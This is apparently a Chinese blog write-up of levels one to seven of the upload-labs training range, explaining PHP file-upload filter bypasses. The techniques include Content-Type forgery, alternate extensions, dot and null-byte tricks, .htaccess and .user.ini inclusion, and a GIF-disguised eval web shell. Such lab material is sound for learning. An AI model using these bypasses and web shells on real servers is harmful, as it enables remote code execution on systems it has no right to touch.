upload通关,写下自己遗忘的理解~

2024-01-30 18:59

本文主要是介绍upload通关,写下自己遗忘的理解~,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一关没什么好说的,前端验证直接过。

第二关(Content-Type头检测文件类型绕过)

我们先看一下它限制了什么
在这里插入图片描述我们先看一下$_FILES数组

$_FILES数组内容如下: 
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量) 

也就是说文件类型Content-Type必须是image/jpeg,image/png,image/gif中的一个,那么很简单,抓包修改Content-Type类型为image/jpeg,image/png,image/gif随遍一个即可绕过。

第三关限制文件后缀

方法一黑名单绕过

它限制了不允许上传.asp,.aspx,.php,.jsp后缀文件!
并且全部转小写来防止大小写绕过。
那么我们可以使用php扩展来绕过上传

pht,phpt,phtml,php3,php4,php5,php6

并且这些扩展名也可以解析php
注意!
如果想要被当成php文件执行的话,Apache的httpd.conf有如下配置代码(靶场应该是配置好的,如果是本地复现,需要配置)

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

如果是上传asp🐎可以使用

cer、asa、cdx等来绕过

在这里插入图片描述

方法二%00截断绕过(推荐)不受环境影响

在这里插入图片描述
在这里插入图片描述

第四关

方法一,代码审计绕过

所有漏洞的本质在源于开发者本身对代码的疏忽,那么我们进行白盒审计,绕过他的过滤即可。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');   //返回从点到结尾的所有字符$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

其实我们大概能看出来,他是选取先删去末尾的一个 . 然后防止点绕过。然后在选取点后面的字符串进行黑名单进行比较,最后筛选。

那么我们构造1.php. .来进行绕过,最后一个点来过deldot函数,倒数第二个点用来跟黑名单比较,最后绕过黑名单检测。
在这里插入图片描述

方法二,上传htaccess文件解析jpg文件

先上传一个.htaccess文件进行解析
在这里插入图片描述内容如下,意思是把2.jpg文件当成php文件进行解析。

<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

第五关

1.代码审计绕过

依然采取1.php. .绕过可打通

2.apach解析漏洞

那么什么是apache解析漏洞呢?
说句人话:

apache2解析漏洞 (存在于Apache1.x和Apache2.x)
将从右向左开始解析后缀, 直到遇到一个apache认识的后缀类型,就会以该类型进行解析:

我们来F12看一下我们的中间件是否符合规定
在这里插入图片描述
那么我们构造1.php.aaa进行测试
不知为何,我的不解析。。。。。

方法三 .user.ini绕过 适用范围(php版本5.5.38以上)

发现黑名单中并没有限制.user.ini文件。

我就谈一下自己的理解:(网上太多资料了,我用大白话来说一下)

我们需要准备三个文件,一个.user.ini,一个php文件,一个gif或者jpg都可以

因为在upload目录我们是知道有一个readme.php文件的,所以我们只需要上传两个.user.ini和gif文件
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
我来解释一下这是为什么

1.auto_prepend_file—-指定在每个PHP页面执行前所要执行的代码。
2.auto_append_file—-指定在每个PHP页面执行完成后所要执行的代码

我们可以这么理解,auto_prepend_file=1.gif相当于require(1.gif),相当于把1.gif包含,由于是在指定每个php页面前就要包含1.gif,所以我们访问readme.php时会先走1.gif里面的代码,并把它执行。

更普遍的情况,他会限制你上传.user.ini文件,那么我们就这样来

构造.user.ini文件
GIF89a
auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
GIF89a
<?php @eval($_POST['pass'])?>

通过头来绕过

利用条件

利用.user.ini文件条件:

1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件

针对条件2,我们可以看这里

第6关

分析源代码
在这里插入图片描述
没有过滤大小写直接大小写绕过
抓包修改
1.PHP
在这里插入图片描述

第七关

没有过滤空格,空格绕过
在这里插入图片描述

这篇关于upload通关,写下自己遗忘的理解~的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/661230

相关文章

一文带你理解Python中import机制与importlib的妙用

《一文带你理解Python中import机制与importlib的妙用》在Python编程的世界里,import语句是开发者最常用的工具之一,它就像一把钥匙,打开了通往各种功能和库的大门,下面就跟随小... 目录一、python import机制概述1.1 import语句的基本用法1.2 模块缓存机制1.

深入理解C语言的void*

《深入理解C语言的void*》本文主要介绍了C语言的void*,包括它的任意性、编译器对void*的类型检查以及需要显式类型转换的规则,具有一定的参考价值,感兴趣的可以了解一下... 目录一、void* 的类型任意性二、编译器对 void* 的类型检查三、需要显式类型转换占用的字节四、总结一、void* 的

深入理解Redis大key的危害及解决方案

《深入理解Redis大key的危害及解决方案》本文主要介绍了深入理解Redis大key的危害及解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 目录一、背景二、什么是大key三、大key评价标准四、大key 产生的原因与场景五、大key影响与危

深入理解C++ 空类大小

《深入理解C++空类大小》本文主要介绍了C++空类大小,规定空类大小为1字节,主要是为了保证对象的唯一性和可区分性,满足数组元素地址连续的要求,下面就来了解一下... 目录1. 保证对象的唯一性和可区分性2. 满足数组元素地址连续的要求3. 与C++的对象模型和内存管理机制相适配查看类对象内存在C++中,规

认识、理解、分类——acm之搜索

普通搜索方法有两种:1、广度优先搜索;2、深度优先搜索; 更多搜索方法: 3、双向广度优先搜索; 4、启发式搜索(包括A*算法等); 搜索通常会用到的知识点:状态压缩(位压缩,利用hash思想压缩)。

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

【C++高阶】C++类型转换全攻略:深入理解并高效应用

📝个人主页🌹:Eternity._ ⏩收录专栏⏪:C++ “ 登神长阶 ” 🤡往期回顾🤡:C++ 智能指针 🌹🌹期待您的关注 🌹🌹 ❀C++的类型转换 📒1. C语言中的类型转换📚2. C++强制类型转换⛰️static_cast🌞reinterpret_cast⭐const_cast🍁dynamic_cast 📜3. C++强制类型转换的原因📝

深入理解RxJava:响应式编程的现代方式

在当今的软件开发世界中,异步编程和事件驱动的架构变得越来越重要。RxJava,作为响应式编程(Reactive Programming)的一个流行库,为Java和Android开发者提供了一种强大的方式来处理异步任务和事件流。本文将深入探讨RxJava的核心概念、优势以及如何在实际项目中应用它。 文章目录 💯 什么是RxJava?💯 响应式编程的优势💯 RxJava的核心概念

如何通俗理解注意力机制?

1、注意力机制(Attention Mechanism)是机器学习和深度学习中一种模拟人类注意力的方法,用于提高模型在处理大量信息时的效率和效果。通俗地理解,它就像是在一堆信息中找到最重要的部分,把注意力集中在这些关键点上,从而更好地完成任务。以下是几个简单的比喻来帮助理解注意力机制: 2、寻找重点:想象一下,你在阅读一篇文章的时候,有些段落特别重要,你会特别注意这些段落,反复阅读,而对其他部分

深入理解数据库的 4NF:多值依赖与消除数据异常

在数据库设计中, "范式" 是一个常常被提到的重要概念。许多初学者在学习数据库设计时,经常听到第一范式(1NF)、第二范式(2NF)、第三范式(3NF)以及 BCNF(Boyce-Codd范式)。这些范式都旨在通过消除数据冗余和异常来优化数据库结构。然而,当我们谈到 4NF(第四范式)时,事情变得更加复杂。本文将带你深入了解 多值依赖 和 4NF,帮助你在数据库设计中消除更高级别的异常。 什么是